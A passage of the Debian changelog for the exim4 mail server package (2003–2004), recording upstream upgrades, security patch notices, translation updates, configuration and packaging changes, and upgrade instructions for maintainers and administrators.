versions. (Closes: #249550) -- Andreas Metzler Mon, 31 May 2004 10:31:51 +0200 exim4 (4.34-1) unstable; urgency=low * remove cruft from source * New upstream version 4.34, exiscan -21 * includes fix for buffer overflow (CAN-2004-0400) fixed in previous upload * Again adds a received header before local_scan() is invoked. * Adds a missing fclose() that was causing scan directories not to be deleted on NFS spools. * add debug_print statements on various routers (mh) * add docs to smarthost router regarding secondary MX setup (see #248370) (mh) * don't ask any more for relay_to_domains if configuring for smarthost and satellite setup. (Closes: #248370) (am) * straighten out remote_smtp transport by adding remote_smtp_smarthost and using that in the smarthost router. (mh) * add hubbed_hosts router for more flexible routing. (mh) * add update-exim4.conf.template and use it in debian/rules (Closes: #248338). (mh) * remove debian/patches/60_upstream_fixes as the fix is already included upstream now. (mh) * add README.Debian-accountname (mh) * updated translations: - zh_CN (Simplified Chinese) by Carlos Z.F. Liu (Closes: #248464). (mh) * Temporarily add a Build-Conflicts with libperl-dev 5.8.4-1. - This version included a dyna-loader incompatible with programs linked against 5.8.3.(am) -- Andreas Metzler Wed, 12 May 2004 22:30:19 +0200 exim4 (4.33-1) unstable; urgency=low * new upstream version 4.33, exiscan -20: - includes the patches for rewriting and sighandler. - new expansion conditions to e.g. match a domain in named domainlist. * updated translations: - fr (French) by Christian Perrier (Closes: #245342) - el (Greek) by Konstantinos Margaritis. * Document known configuration variables in update-exim4.conf(8). * Make use of ${if match_domain to get rid of the ugly hack (two transports and two routers) to rewrite the envelope from. * Apply fix for verify=header_syntax buffer overflow (CAN-2004-0400). -- Andreas Metzler Thu, 6 May 2004 18:17:05 +0200 exim4 (4.32-2) unstable; urgency=low * updated translations: - pt (Portuguese) by Nuno Sénica. (Closes: #244296,#245694) - el (Greek) by Konstantinos Margaritis (Closes: #244354) - cs (Czech) by Miroslav Kure (Closes: #244368) - da (Danish) by Claus Hindsgaul (Closes: #244508) - it (Italian) by Danilo Piazzalunga (Closes: #245174) - fr (French) by eric-m(at)wanadoo.fr (Closes: #245342) and Christian Perrier - ja (Japanese) by Kenshi Muto (Closes: #245430) - hu (Hungarian) by VEROK Istvan - nb (Norwegian Bokmål) by Steinar H. Gunderson - pt_BR (Brazilian Portuguese) by André Luís Lopes - ja (Japanese) by Kenshi Muto - cs (Czech) by Miroslav Kure - sv (Swedish) by André Dahlqvist (Closes: #245716) * Basque (eu.po) translation of debconf templates by Piarres Beobide Egaña. (Closes: #244401) * Indonesian (id.po) translation of debconf templates by I Gede Wijaya S. (Closes: #245120), updated (Closes: #245491) * Turkish (tr.po) translation of debconf templates by Recai Oktas. (Closes: #245751) * Slovak translation of debconf templates by Peter Mann (Closes: #245809) * Add comment in configuration file documenting that effective retry times depend on _both_ retry-rules and frequency of queue running. Keep default QUEUEINTERVAL at 30m because running the queue can be quite expensive and because therespective RFCs suggest 30m as minimal waiting time. (Closes: #242426) * Installation over serial console/minicom only has a screen size of 80 characters x 24 lines available. Sigh. Shorten config-type question by cutting down the introduction. (Closes: #244464). Shorten relay-net question by replacing a unnecessarily complicated formulation with a clearer one which closes: #226809. * Debconf supports masquerading as a different host with rewriting not only for "satellite" but also for "smarthost" system. (Closes: #229911). - Introduces another but hopefully last pre-sarge template change. (This includes final versions of the templates without the dead references to "satellite" which closes: #229902.) - Rewrite /this/ stuff at smtp transport time. /etc/email-addresses rewriting still uses normal rewriting because it always has and because it is easier to setup. - This still does not address one basic issue, the misuse of /etc/mailname for qualifying recipeints because this needs clarification in policy _and_ changing MUAs to not do this. Therefore I declare this post-sarge. - Thanks to Chris Cheney for the kick, and to Adam Conrad and Wouter Verhelst for their help. * Add two fixes from upstream: - Change 4.31/55 was buggy and broke sender address rewriting and caching. - Change 4.24/6 broke the SIGALRM handler with deliver_drop_privilege. * README.TLS.gz and the actual configuration disagreed (Thanks, Richard Lamont). * Fix thinko in update-exim4defaults that made --queuetime a no-op. -- Andreas Metzler Mon, 26 Apr 2004 09:12:23 +0200 exim4 (4.32-1) unstable; urgency=low * New upstream version 4.32 (exiscan 4.32-17) - includes the fix for the caching bug and uses MAIL FROM <> as default value for recipient callouts again. - new exiscan adds a local "Received:" header to the copy passed to spamassassin tofix evaluation of DNS lists, compensating for ChangeLog 4.31/66. (Closes: #242730) * Remove obsolete reference to auth_over_tls_hosts from documentation. (Thanks Jonas Meurer) * Enable SMTP authentication (hosts_try_auth) per default when sending mail to smarthost. No need to edit the configuration-file anymore if you just need to forward all mail to a smarthost with AUTH. (Closes: #203307) * Hungarian translation of debconf templates by VEROK Istvan. (Closes: #242931) * remove "exim 3 will stay default MTA for Debian sarge" from README.Debian as TPTB have decided otherwise. (Closes: #243687). * Rewrite "Sender:"-header for "satellite" configuration profile, too. (Closes: #228978) * Use the normal user account set-up during installation as default destination for delivery of mail for root. (Joey Hess) * Shorten exim4/dc_postmaster template to fit on console. (Joey Hess) (Closes: #242303) * In template suggest using real-foo to force local delivery. (Closes: #229909) * Template changes reviewed by debian-l10n-english. There might still be more changes, translators should probably wait a little bit longer before updating the translation. * On fresh installations smarthost profile only listens on loopback per default. - There are valid uses of "smarthost" that require listening on public interfaces but the most common one (dialup) does not. * Ship README.Debian.UUCP by Andreas Barth in /usr/share/doc/exim4-base. - This resolves our part of #201153. -- Andreas Metzler Sat, 17 Apr 2004 18:02:42 +0200 exim4 (4.31-2) unstable; urgency=low * Fix caching bug in recipient callouts. (Nico Erfurth). * Document removal of local_scan perl-plugin in NEWS.Debian file. (Closes: #242227) -- Andreas Metzler Mon, 5 Apr 2004 15:55:12 +0200 exim4 (4.31-1) unstable; urgency=low * New upstream version 4.31 (exiscan 4.31-16) - Supports CRL (Certificate Revocation List) (Closes: #229063) - exim_dbmbuild does not crash on _very_ long RHS values. (Closes: #231597) - route_list does not use a fixed lenght buffer anymore. (Closes: #231979) - An empty tls_verify_certificates file is correctly interpreted as empty list instead of breaking TLS. (Closes: #236478) * Korean translation of debconf templates by Changwoo Ryu (Closes: #241499) * Minor changes to rcpt_acl: * add missing message = qualifiers. (Closes: #240862) * resync against upstream default, incorporating change 4.23/30, allowing "/" and "|" in nonlocal addresses. -- Andreas Metzler Mon, 5 Apr 2004 12:00:54 +0200 exim4 (4.30-8) unstable; urgency=low * remove dc_never_users from /etc/exim4/u-ex.conf.conf and the corresponding pattern DEBCONFnever_usersDEBCONF from the template. The code is superfluous since 4.24 introduced FIXED_NEVER_USERS and was broken, user changes were not preserved. (am) * Link against libmysqlclient10 instead of libmysqlclient12 to circumvent symbol-clashes when using PAM with libpam-mysql. (Closes: #235938) (am) * Dump temporary build-conflict with broken po-debconf. (am) * Copy ugly passwd-dependency from -base to -config. (am) * Do not throw away adduser's errormessages. Together with the added dependency noted above this (Closes: #237657). (am) * Installed copy of default configuration-file (example.conf) refered to the temporary install-directory. Ugly hotfix. (Closes: #236483) * Italian translation of debconf templates by Danilo Piazzalunga. (Closes: #237500) * Rewrite generation of /etc/aliases because it was broken when running under debbian-installer/debootstrap, which installs the packages with DEBIAN_FRONTEND=nointeractive and reconfigures them later (report by Florian Effenberger). (am) Instead of generating it _once_ and touching it never again ask for and add alias for root if it is missing. Debconf template exim4/dc_noalias_regenerate is not used any more. (Closes: #237524) * Norwegian Bokmål translation of debconf templates by Steinar H. Gunderson. (Closes: #237680) * Dump local_scan perl-plugin. Upstream development has stopped. (am) * Maintainer scripts now run with -x if environment variable EX4DEBUG is set (mh). * Minor clarifications of debian/README (mh). * rm -rf Local on debian/rules clean (mh). * Swedish translation of debconf templates by André Dahlqvist. (Closes: #238987) * Portuguese (pt) translation of debconf templates by Nuno Sénica. (Closes: #239030) * Lithuanian translation of debconf templates by Kęstutis Biliūnas. (Closes: #239118) * Add examples for client certificate-checking by J.H.M. Dassen (Ray) (Closes: #236609) * Adapt README.* to /etc/exim4/exim4.conf.template (am) * Update to exiscan v16 -- Andreas Metzler Wed, 24 Mar 2004 15:39:35 +0100 exim4 (4.30-7) unstable; urgency=low * 4.30-6 was rejected, we use | and || for OR in dependency fields. * libldap2 now uses GnuTLS10. Follow suit. (Temporarily bumped libldap2-dev build-dependencies for paranoia's sake.) -- Andreas Metzler Mon, 23 Feb 2004 17:03:58 +0100 exim4 (4.30-6) unstable; urgency=low * Finnish translation of debconf templates by Tapio Lehtonen. (Closes: #229792) * Simplified Chinese translation of debconf templates by Carlos Z.F. Liu. (Closes: #229910) * Spanish translation of debconf templates by Javi Castelo. (Closes: #232207) * To increase robustness set explicit "domains = +local_domains" on all the routers that are supposed to be handling _only_ local mail (i.e. anything after dnslookup or smarthost) instead of relying on the no_more. If the router handling remote addresses was modified by adding a precondition the address would have wrongly been handled by the later routers if the precondition failed, breaking at least "verify = sender". (Closes: #230403) (am) * In the data ACL add a Message-ID header to mails injected with SMTP from +relay_from_hosts. (Exim stopped doing this by default in 4.30.) (mh) * binary-all metapackage exim4 does not depend anymore on exim4-base with exactly the same version. There is no necessity for dependencies that strict and it broke both binary NMUs and installability on lagging architectures. (Closes: #231678) (am) * Give way to the "I use sid but keep it outdated by not running apt-get upgrade ever."-fraction. exim4-base now depends on working versions of passwd i.e. the version in woody or the one that has been in sid for more than 6 months. (Closes: #230423,#230836,#231111) (am) * in source-package symlink identical maintainerscripts. (am/mh) * Ship README.Debian.xinetd, explaning why we do not use (x)inetd and how to use xinetd properly if you insist. (Closes: #226627) * Update Build-Depencies to fit the XFree86 4.3 packages. * Make new lintian happy by quoting section and needs in eximon's menu-file. -- Andreas Metzler Mon, 23 Feb 2004 15:48:56 +0100 exim4 (4.30-5) unstable; urgency=low * Only use db_settitle if available (Closes: #226992) (am) * Up to date debconf translations for all nine supported languages, thanks to the translators: Miroslav Kure (Czech), Claus Hindsgaul (Danish), Konstantinos Margaritis (Greek), Christian Perrier (French), Kenshi Muto (Japanese), Bart Cornelis (Dutch), André Luís Lopes (Brazilian Portuguese) and Ilgiz Kalmetev (Russian) (am) * After merging translations split the configtype-template, using the __Choices trick. I don't think I made any errors because podebconf's output has not changed. (am) * Don't use /etc/mailname (DEBCONFvisiblenameDEBCONF) as primary_hostname for minimaldns option. (Closes: #225477) * (Re)introduce /etc/exim4/exim4.conf.template as alternative to the multiple small files in /etc/exim4/conf.d/ and make it the default choice for fresh installations. This trades in a loss of comfort (you will again need to merge in each small change manually) for increased stability. (Closes: #224828) (am) * Disable piping to programs in /etc/aliases per default, because they would run as Debian-exim:Debian-exim per default. Add README.system_aliases suggesting dedicated router/transport pairs (am/mh) (Closes: #228062) * modify create-custom-package and adapt debian/rules to allow building multiple named custom packages in a single build. (mh) * "dpkg-reconfigure exim4-config" actually tells exim4 to read the updated configuration. (am) * Use -qqf instead of -qf in the ip-up.d file to force delivery of all messages over a single SMTP connection. (Closes: #228001) -- Andreas Metzler Wed, 21 Jan 2004 15:09:00 +0100 exim4 (4.30-4) unstable; urgency=low * Updated Japanese debconf template translation by Kenshi Muto (Closes: #224584) * Remove bashism from update-exim4.conf (Closes: #224617) (Jochen Voss) * Czech translation of debconf templates by Miroslav Kure (Closes: #225713) * Fix typos in README.Debian. (Closes: #225149) (Vincent Lefevre) * Replace first, too long debconf question with three short ones (Joey Hess) (Closes: #222720) * Use a custom debconf title. (Closes: #222715) * Greek translation of debconf templates by Konstantinos Margaritis (Closes: #226844) -- Andreas Metzler Fri, 9 Jan 2004 09:12:07 +0100 exim4 (4.30-3) unstable; urgency=low * update debian/copyright from NOTICE. (No substantial changes, credits for new code) (am) * missing \| made exim4-base.postinst configure hang. (Closes: #224294) (am) * update-exim4.conf: Don't try chown if not running as root. (mh) * Remove useless definition of an auth_over_tls_hosts hostlist in 03_exim4-config_tlsoptions. - It was probably a leftover from somebody running convert4r4. (am) * Make it possible to override spooldir in another config-file snippet, too. (Closes: #223973) -- Andreas Metzler Fri, 19 Dec 2003 15:27:50 +0100 exim4 (4.30-2) unstable; urgency=low * Fix exim4-base.logrotate to create logfiles accessible for the new exim-user. (Closes: #223860,#223862) * comment in 03_exim4-config_tlsoptions refered to the user "mail" too. -- Andreas Metzler Sat, 13 Dec 2003 15:01:20 +0100 exim4 (4.30-1) unstable; urgency=low * Exim now runs under its own uid (Debian-exim) instead of using mail:mail. (am) WARNING: You cannot downgrade this version to an older one without manual chown|chgrp all files owned by Debian-exim to mail. - control: dependency on adduser and virtual package exim4-config-2 to force review of external -config packages. - use a statoverride for passwd.client. - different postinst scripts: * adduser. * chown|chgrp files/directories owned by mail (group|user) to Debian-exim. * update-exim4.conf does not exit immidiately if /etc/exim4/exim4.conf exists AND -o is specified. (Bill Moseley) * Brazilian Portuguese debconf template translation by André Luís Lopes (Closes: #219781) * Dutch debconf template translation by Bart Cornelis (cobaco) (Closes: #220694) * Pull Dansk debconf template translation from ddtp. * Use a macro to make it possible to overide the value of spool_directory with -DSPOOLDIR=. Needed for mailscanner, (Closes: #221468), suggested by Matthias Klose. * enable support for Cyrus saslauthd (package sasl2-bin, /var/run/saslauthd/mux) for SMTP AUTH against /etc/shadow. (am) * Christian Perrier has reviewed the debconf-templates and changed them to follow the "Debconf Templates Style Guide". (Closes: #221838) Thanks to the (ru|nl|fr|pt_BR) translators for updating their translations. * New upstream version 4.30 with exiscan 4.30-14 (am) - option table for -d in exim(8) readable (but not perfect). (Closes: #214853) - Messages for configuration errors now include the name of the main configuration files (Closes: #202136) - does not reject IPv6 address literals in EHLO/HELO anymore (Closes: #222521) * exim4-config.config: support going back to previous *package* when invoked by base-config 2.0. (Closes: #222773). Suggested by Joey Hess. (am) * exim4-config now conflicts with non-exim4 packages providing MTA, to keep dselect from automatically installing it (and -base) on dist-upgrades on systems that use a different MTA. (mh) * exim4-base depends on netbase again because exim requires /etc/services.(mh) * reindent init-script with two spaces instead of tabs to fit it in 80 chars/line. (Closes: #221458) -- Andreas Metzler Mon, 8 Dec 2003 16:52:32 +0100 exim4 (4.24-3) unstable; urgency=low * rename create-custom-package to create-custom-config-package (mh) * add create-custom-package to create renamed exim4-daemon-custom (mh) * README.TLS: Don't suggest to use commands messing up the local terminal (Sander Smeenk) * Pull Dansk debconf translation from ddtp (not yet up to date) * correct last references to uncompressed /u/s/d/e/README.Debian (Closes: #216639), also kill references to exim-tls. (Closes: #216979) (Kevin "Starfox" Arima). (am) * add exim4-config-medium template package to sources, document (mh) * Update to exiscan 4.24-13 (bugfix-release). * Ask about mailname after configtype. (Closes: #217931) (am) * minor thinko in debconf "local mail only"-config. (am) * update-exim4.conf: now add comment indicating the source file (Closes: #202040) (mh) * add --confdir option to update-exim4.conf (mh) * add "nodaemon" and "queueonly" option to /etc/default/exim4 and init script (mh). * Fix po2debconf on woody systems with old debhelper and po2debconf. (am) * exim4-config does not depend on exim4-base. (am) * Use "command -v" to check for existence of invoke-rc.d instead of hardcoding its path. (am) * Russian debconf translation by Ilgiz Kalmetev (Closes: #219101) -- Andreas Metzler Tue, 4 Nov 2003 12:18:38 +0100 exim4 (4.24-2) unstable; urgency=low * Grammar of debconf-templates rectified by Ben Foley. * Handholded by Denis Barbier I have imported debconf translations from postfix: fr.po (Philippe Batailler), ja.po (Kenshi Muto), nl.po (Bart Cornelis) and pt_BR.po (André Luís Lopes). It is just 5 translated messages, 4 fuzzy translations, but it's a start. * No more first person in debconf-templates (Adam D. Barratt) * README.TLS was updated. * pseudopackage libxaw-dev is gone in sid (and libxaw7-dev is already available in woody) - Removed from build-depends. * French debconf translation by Christian Perrier (Thanks for the other hints, too.) * Build-Conflict with broken po-debconf (= 0.8.0). (Closes: #215432) * Add menu-entry for eximon (Artur R. Czechowski) (Closes: #215579). * Resolve name-clash between client- and server-side authenticators (Bug found by Rob Ristroph) -- Andreas Metzler Wed, 15 Oct 2003 12:45:49 +0200 exim4 (4.24-1) unstable; urgency=low * New upstream version - 55_fixesfrom-4.23.dpatch is not needed anymore. - most interesting new feature: $acl_xx are now saved with the message, and can be accessed later in routers, transports, and filters. - Cannot run deliveries as root anymore. If you don't redirect mail for root via /etc/aliases or other means to a nonpriviledged account the mail will be delivered to /var/mail/mail with permissions 0600 and owner mail:mail. Change to local_user router to keep it from trying to route mail for root. * debconf for exim4-config pointed to /u/s/d/e/README.Debian but the file is available as README.Debian.gz (Closes: #211934) * exim(8) manpage provides correct NAME section for mailq/runq/... to generate corresponding whatis/apropos info (Thanks to Dan Jacobson for mentioning lexgrog(1)) * polish and crosslink documentation about SMTP AUTH in config-files, documentation and debconf templates. (Closes: #202920) * Ship README.SIEVE (Thanks to Ross Boylan) * Sync some debconf templates against the respective ones in postfix 2.0.16, to limit the work of translators. * update-exim4defaults/init-script: Add a new value fuer QUEUERUNNER, "ppp". - Don't run queue by daemon but still run it from /etc/ppp/ip-up.d/exim4. (Dan Jacobson pointed out that this was very akward to accomplish with old setup.) update-exim4defaults now exits with an error if the argument for --queuerunner is invalid. * Enable gettext-style localisation of debconf templates with compatibility code for woody * Add German debconf-translation. (Some strings were copied from Martin A. Godischs translation of postfix's templates). -- Andreas Metzler Sun, 5 Oct 2003 13:41:30 +0200 exim4 (4.22-5) unstable; urgency=low * Sorry, this is not 4.23. Tom is on holidays and because 4.23 changes some ACL code, exiscan needs in depth checking and not just applying the patch by hand. * exim4-config conflicts with bash (<< 2.05), because it cannot handle aliases in functions. This does not necessarily fix dist-upgrades from potato to sarge because debconf-config might happen before the new bash is installed but will keep people running potato from trying to install exim4-config. (Closes: #209720) * sanitize /usr/sbin/exim4's permissions, building with 007 umask could have installed it -rws--x--x * evaluation -oP option for specifying pid-file is broken in 4.22, use fix from 4.23 (Closes: #210847) * "warn log_message blah" in DATA acl triggered dumping of full headers to reject.log, although the message was not rejected by this acl statement. Take fix from 4.23. (Closes: #208782) * On cross-upgrades from exim3 unfold lines continued with a backslash in the old exim3 configuration before trying to parse it to preanswer the debconf-questions. (Closes: #210404) First instance of using perl in our maintainer-scripts, but I could not do it with sed. -- Andreas Metzler Fri, 19 Sep 2003 13:55:07 +0200 exim4 (4.22-4) unstable; urgency=low * Update to exiscan-acl revision -12. (Emergency fix: When you were using 'discard', and it was the last verb affecting a message, the mbox spool files in the scan directory were not cleaned up.) * Add syslog2eximlog by Martin Godisch, a script to make logfiles produced with exim option "log_file_path = syslog" readable for eximstats. (Closes: #208524) * Enhance description of -heavy and light a little bit. (Closes: #208404) * Standards-Version: 3.6.1, no changes required, we already prompt with debconf. -- Andreas Metzler Thu, 4 Sep 2003 19:19:25 +0200 exim4 (4.22-3) unstable; urgency=low * Add copright notice of exiscan-acl to debian/copyright. -- Andreas Metzler Wed, 27 Aug 2003 17:49:46 +0200 exim4 (4.22-2) unstable; urgency=low * Include exiscan-acl patch 4.22-10 http://duncanthrax.net/exiscan-acl/ in -heavy and -custom (Closes: #204698) * clean up gnutls-params on purge of base-package. -- Andreas Metzler Wed, 27 Aug 2003 12:50:59 +0200 exim4 (4.22-1) unstable; urgency=low * new upstream version 4.22. Please take a look at README.UPDATING and NewStuff in /usr/share/doc/exim4-base/ -- Andreas Metzler Mon, 18 Aug 2003 16:51:47 +0200 exim4 (4.20-5) unstable; urgency=low * Fix EHLO/HELO buffer-overflow CAN-2003-0698 (Closes: #205716) * exim-gencert was using '.' as separator for chown. * "head -n 1" instead of "head -1" in scripts * install /etc/exim4/passwd.client as root:mail 0640 (Closes: #205104) (it needs to be readable for the exim-user or -group, i.e. mail:mail) * set mode_fail_narrower = false for mail_spool and maildir_home transports (Closes: #204228) * Standards-Version: 3.6.0, no changes required. -- Andreas Metzler Sat, 16 Aug 2003 17:40:17 +0200 exim4 (4.20-4) unstable; urgency=low * CFILEMODE and dc_local_interfaces were not saved in update-exim4.conf.conf on fresh installations. * update-exim4.conf: Remove comments _after_ doing DEBCONFpatternDEBCONF replacement. * conf.d/auth/30_exim4-config_examples: Fix forced failure of AUTH LOGIN client on non-encrypted connections. -- Andreas Metzler Tue, 5 Aug 2003 10:38:16 +0200 exim4 (4.20-3) unstable; urgency=low * hub_user router: set correct .ifdef, remove superficial condition= * don't generate main/03_exim4-config_neverusers dynamically, use a DEBCONF_foo pattern that is replaced by up-ex4.conf. exim4 should now play nicely with readonly /etc. * Enable exim-filter in .forward per default. (Closes: #201827) * Enable maildrop-delivery for users with ~/.mailfilter * Easier setup of client side SMTP authentification: -short README file. -passwd.client example shipped in CONFDIR -30_exim4-config_examples: +change order, prefer cram-md5. +enable by default (auth-plain and -login only for TLS protected connections). They remain inactive while hosts_try_auth is disabled. * add comments listing the filename to the files in conf.d that were changed anyway. Addresses part of 202040. * remove misleading comments about "bottom of file" or "see below" from config-snippets. (Closes: #202165) * Disable orphaned inetd-entries from exim (v3) caused by bugs #202670 and #182206 in exim4-config's postinst. I'll close #201143 manually. * Restructure and clarify README.Debian and polish update-exim4.conf(8). Thanks to Ross Boylan for pushing me in the correct direction. -- Andreas Metzler Thu, 24 Jul 2003 10:29:19 +0200 exim4 (4.20-2) unstable; urgency=low * update-exim4.conf works without daemon-package (Closes:#195329) * Add dnslookup_relay_to_domains router for "internet" config to allow relaying for domains with an MX pointing to an rfc1918 address. (Closes: #198410) (MH) * update-exim4.conf would hang if one of the subdirectories in conf.d was empty. (Report and fix by Marc Merlin) * Build-Depend on libgnutls7 * Preserve comments in update-exim4.conf.conf by first adding missing items and replacing the values with sed instead of regenerating file from scratch (Closes: #184099) * Set return_path_add, delivery_date_add and envelope_to_add for maildir-transport (Closes: #196178) * Use email-addresses file in /etc/ instead of in /etc/exim4 as exim3 does, exim4-config now needs to conflict with exim,exim-tls. We still include code for evaluating the old file if it exist, but suggest moving the contents to the new file in NEWS.Debian. postinst will remove old orphaned file if it is unmodified. (Closes: #197136) * Set return_fail_output instead of return_output on address_pipe transport. (Closes: #201280) * Stop generating rewriting rules dynamically, exim4 accepts any "address-list" item as source-pattern for rewriting. (Changelog entry obfuscated on purpose, read exim4debian for painful details.). Remove old dynamically generated files in postinst if they were managed by upex4conf. * daemon-light supports TLS (Closes: #193596) -- Andreas Metzler Wed, 16 Jul 2003 13:36:27 +0200 exim4 (4.20-1) unstable; urgency=low * New upstream * Standards-version 3.5.10 (no changes required) * The doc packages have got new sane names - update Suggests. * Fix a endless loop (currently ownly showing when upgrading from old experimental packages) - Thanks to Marc Langer for the report. * introduce ${Upstream-Version} as substitution variable for debian/control (MH) * Make dependencies less strict, *-daemon-* 12.34-1 can be installed with -base 12.34-5. -- Andreas Metzler Mon, 19 May 2003 14:14:16 +0200 exim4 (4.14-1) unstable; urgency=low * Upload to sid (Closes: #179066) * Ship an (empty) acl_check_data with commented out examples. Add Infrastructure to ease their activation. (MH) -- Andreas Metzler Fri, 16 May 2003 18:02:46 +0200 exim4 (4.14-0.6) experimental; urgency=low * Don't link to gnutls' (tasn,gcrypt) dependencies directly (Closes: #193018) * fix AUTH PLAIN server side example to work if the data is not given in initial-response (exim-bug 193094) * ACL-updates (MH) -- Andreas Metzler Wed, 14 May 2003 12:16:06 +0200 exim4 (4.14-0.5) experimental; urgency=low * updated version of dlopen patch (Marc Merlin) * don't regenerate files managed by update-exim4.conf on package updates if the local admin had deleted them. * replace the listenonpublic yes/no question with one that allows one to specify on which interfaces to listen to (Closes: #190498) * new dc-question for dial-on-demand-users to minimize DNS lookups -- Andreas Metzler Thu, 1 May 2003 16:03:59 +0200 exim4 (4.14-0.4) experimental; urgency=low * Renamed conf.d files from *exim4-base* to *exim4-config* since they can now be found in the exim4-config package. WARNING, this breaks updates. After installation, execute something like the following bash snipped to rename your files: for i in `find . -name *exim4-base*`; do mv $i ${i/exim4-base/exim4-config}; done (MH) * Include more sophisticated check_rcpt ACL, include documentation, include even more sophisticate check_rcpt ACL in /u/s/d/e4-config/examples/acl. (MH) * update-exim4.conf now filters out consecutive empty lines (MH) * make update-exim4.conf's behaviour for configtype=none more consistent, respect CFILEMODE and --removecomments. (Thanks to Marc Merlin) * add warning about editing /etc/exim4/exim4.conf in place (Marc Merlin) * use .rul instead of .disabled to override/disable configfiles in /etc/exim4/conf.d/ (Suggested by Marc Merlin) * fix smtp auth client-side examples (Closes: #188828), thanks to Karl M. Hegbloom for the bug report (AM) * add @DPATCH@-tag to patches, as required by dpath-edit-patch in dpatch 1.17 (AM) -- Andreas Metzler Fri, 25 Apr 2003 12:37:50 +0200 exim4 (4.14-0.3) experimental; urgency=low * add '|| true' to every call of db_input. (Thanks to Pierfrancesco Caci for the bugreport.) (Closes: #187008) * Don't set received_header_text in 02_exim4-base_options, use upstream's default. * renumber routers to have more space for local customization. WARNING WARNING upgrade is broken, execute this in /etc/exim4/conf.d/router to get rid of the superfluous files: mv 20_exim4-base_domain_literal 100_exim4-base_domain_literal mv 22_exim4-base_primary 200_exim4-base_primary mv 24_exim4-base_real_local 300_exim4-base_real_local mv 26_exim4-base_system_aliases 400_exim4-base_system_aliases mv 28_exim4-base_hubuser 500_exim4-base_hubuser mv 30_exim4-base_userforward 600_exim4-base_userforward mv 32_exim4-base_procmail 700_exim4-base_procmail mv 34_exim4-base_maildrop 800_exim4-base_maildrop mv 36_exim4-base_local_user 900_exim4-base_local_user * add *syntax_errors* directives to userforward router, to use partially valid .forward files instead of skipping them. (Marc Haber) * update mysql build-depends -- Andreas Metzler Wed, 9 Apr 2003 16:19:46 +0200 exim4 (4.14-0.2) experimental; urgency=low * upstream fix for crash with AUTH PLAIN * upgrade to policy 3.5.9.0 (CFLAGS in debian/rules) * Add (maildir) transport for handling file addresses generated by alias or .forward files if the path ends in "/", enabled for .forward per default, but not for /etc/aliases. Thanks to Andreas Horter. * add debconf question to move files from exim3 spool to exim4 spool * run exim_tidydb as mail:mail using start-stop-daemon * Make manpages UTF-8 compatible with nicer quotes and escaped dashes. * fakeroot debian/rules builddaemonpackages=exim4-daemon-custom \ buildbasepackages=no binary produced a broken exim4-config package. (Bug found by Soren Andersen) * introduce new replacement item DEBCONFpackageversionDEBCONF holding the complete version number, might be useful for Received headers (Marc Haber) -- Andreas Metzler Thu, 27 Mar 2003 17:04:02 +0100 exim4 (4.14-0.1) experimental; urgency=low * New upstream version * 20_fix.lsearch.dpatch not needed anymore * use new feature .ifdef instead of simulating it with condition=... * change priority of exim4-daemon-light to important -- Andreas Metzler Thu, 13 Mar 2003 15:03:41 +0100 exim4 (4.12-0.2) experimental; urgency=low * instead of generating 22_exim4-base_primary by copying the correct file into it, use condition=... to select the correct one. Similar change to 28_exim4-base_hubuser -- Andreas Metzler Thu, 6 Mar 2003 11:55:55 +0100 exim4 (4.12-0.1) experimental; urgency=low * minimal doc-updates * init-script: output status-message before starting upex4conf() * polish smtp-auth examples - don't hardcode passwords in main configuration file. * change default file-permissions of configfile to 0644. This can be changed by setting CFILEMODE in the default file. * rename debian/patches/*, giving each one an unambiguous number * ignore private rfc1918 and APIPA addresses in internet router (MH) * correct info about authorship of dlopen patch * don't link exim4-daemon-light against PAM (explicitly link it against libdl) * same_domain_copy_routing = yes for primrout-internet, primrout-satellite and primrout-smarthost (MH) * rename debconf.results to update-exim4.conf.conf, add upgrading-magic for upgrading from 4.12-0 and earlier (marked as REMOVEMEBEFORERELEASE) * introduce REMOVEMEBEFORERELEASE-tag, grep -r on debian/ will show us all the cruft that needs to be removed before uploading to unstable. -- Andreas Metzler Wed, 5 Mar 2003 19:03:59 +0100 exim4 (4.12-0) experimental; urgency=low * removed TODO marker from the copyright file * version number for first Debian upload * built i386 binary package on sid -- Marc Haber Fri, 21 Feb 2003 14:40:42 +0100 exim4 (4.12-0.0.21) experimental; urgency=low * update copyright * exim-gencert: generate certificates valid for three years instead 30 days * remove debian/debconf/exim4.conf.template * enable LMTP, LOOKUP_NIS and mailstore for daemon-light -- Andreas Metzler Fri, 21 Feb 2003 12:55:40 +0100 exim4 (4.12-0.0.20) experimental; urgency=low * ship /usr/lib/exim4/exim4 and use it to check whether daemon package is installed. * Exim doesn't require a HUP after logrotation. (See spec 44.2) (MH) -- Andreas Metzler Thu, 20 Feb 2003 19:23:45 +0100 exim4 (4.12-0.0.19) experimental; urgency=low * Ship upstream-changelog only in exim4-base, Symlinks in packages depending on it. Split off changelog entries up to 3.34-1 to changelog.Debian.old which is only included in exim4-base. - Spares about 100KB. * Ship ACKNOWLEDGMENTS in exim4-base docs. * remove debian/exim4-config.docs, files are already shipped in exim4- base * disable some the unneeded dh_* commands from binary-indep target. * make exim4 a metapackage -- Andreas Metzler Thu, 20 Feb 2003 12:41:17 +0100 exim4 (4.12-0.0.18) experimental; urgency=low * split off all configuration to exim4-config * include exim4-config-simple source package * include script to generate exim4-config source package * changed distribution to experimental * Add patch by Phil Hazel to fix lsearch*@ lookups. (AM) * Remove exim4-daemon-perl; merge it into exim4-daemon-heavy (AM) * Prepare removal of "exim4" daemon-flavour: Exchange the roles of "exim4" and "exim4-daemon-light" in debian/rules: build helper binaries, eximon, et.al. while building exim4-daemon-light. Rename EDITME.exim4-base.diff to EDITME.exim4.diff. (AM) ----- WARNING: This breaks your debian/EDITME.exim4-custom.diff, as it was generated to show the differences to debian/EDITME.exim4-base instead of EDITME.exim4-light. (AM) ----- -- Marc Haber Tue, 18 Feb 2003 16:16:45 +0100 exim4 (4.12-0.0.17) unstable; urgency=low * mv 26_exim4-base_aliases 26_exim4-base_system_aliases (MH) * mv 30_exim4-base_forward 30_exim4-base_userforward (MH) * WARNING: upgrades are broken! -After ugrading delete conffiles no longer in package in directories below /etc/exim4/conf.d/: router/26_exim4-base_aliases router/30_exim4-base_forward * all file names for transports and routers are now consistent with Transport/Router defined inside (MH) * add debug_print to all transports/routers (MH) * add cut -d\ -f1 to all md5sum calls in pipes (MH) * add man page for exiqgrep (MH) * fix typos in exiqsumm and exicyclog man page (MH) * Don't install exim.8.diff as manpage, apply the patch instead. (AM) -- Andreas Metzler Sat, 15 Feb 2003 16:35:26 +0100 exim4 (4.12-0.0.16) unstable; urgency=low * Define CONFDIR-macro and use it in update-exim4.conf and some files in CONFDIR. (AM) * Enhance 